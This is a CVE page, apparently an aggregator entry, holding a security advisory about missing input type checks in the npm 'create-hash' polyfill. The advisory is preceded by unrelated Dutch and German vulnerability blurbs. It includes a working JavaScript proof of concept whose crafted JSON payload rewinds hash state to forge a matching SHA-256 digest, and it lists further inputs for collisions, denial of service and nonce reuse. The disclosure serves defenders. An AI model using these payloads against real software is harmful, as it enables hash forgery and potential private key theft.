CVE-2025-9287

Atlassian heeft kwetsbaarheden verholpen in verschillende producten, welke gebruik maken van Oracle middle-ware producten zoals de Oracle Utilities Application Framework, WebLogic Server, Data Integrator en Business Intelligence Enterprise Edition.

Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Red Hat Developer Hub ausnutzen, um Sicherheitsvorkehrungen zu umgehen Informationen offenzulegen oder einen Denial of Service zu verursachen.

Ein Angreifer kann mehrere Schwachstellen in Atlassian Bamboo, Atlassian Bitbucket, Atlassian Confluence und Atlassian Jira ausnutzen, um beliebigen Programmcode auszuführen, um Sicherheitsvorkehrungen zu umgehen, um einen Denial of Service Angriff durchzuführen, und um einen Cross-Site Scripting Angriff durchzuführen.

### Summary This affects e.g. `create-hash` (and `crypto-browserify`), so I'll describe the issue against that package Also affects `create-hmac` and other packages Node.js `createHash` works only on strings or instances of Buffer, TypedArray, or DataView. Missing input type checks (in npm `create-hash` polyfill of Node.js `createHash`) can allow types other than a well-formed `Buffer` or `string`, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour. ### Details See PoC ### PoC ```js const createHash = require('create-hash/browser.js') const { randomBytes } = require('crypto') const sha256 = (...messages) => { const hash = createHash('sha256') messages.forEach((m) => hash.update(m)) return hash.digest('hex') } const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe') const receivedMessage = JSON.parse(payload) // e.g. over network, whatever console.log(sha256(...validMessage)) console.log(sha256(...receivedMessage)) console.log(receivedMessage[0]) ``` Output: ``` 9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9 9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9 Hashed input means safe ``` This works with: ```js const forgeHash = (valid, wanted) => JSON.stringify([wanted, { length: -wanted.length }, { ...valid, length: valid.length }]) ``` But there are other types of input which lead to unchecked results ### Impact 1. Hash state rewind on `{length: -x}`. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash. 2. Value miscalculation, e.g. a collision is generated by `{ length: buf.length, ...buf, 0: buf[0] + 256 }` This will result in the same hash as of `buf`, but can be treated by other code differently (e.g. bn.js) 4. DoS on `{length:'1e99'}` 5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration, like [GHSA-vjh7-7g9h-fjfh](https://github.com/indutny/elliptic/security/advisories/GHSA-vjh7-7g9h-fjfh)) 6. Also, other typed arrays results are invalid, e.g. returned hash of `new Uint16Array(5)` is the same as `new Uint8Array(5)`, not `new Uint16Array(10)` as it should have been (and is in Node.js `crypto`) -- same for arrays with values non-zero, their hashes are just truncated to `%256` instead of converted to correct bytelength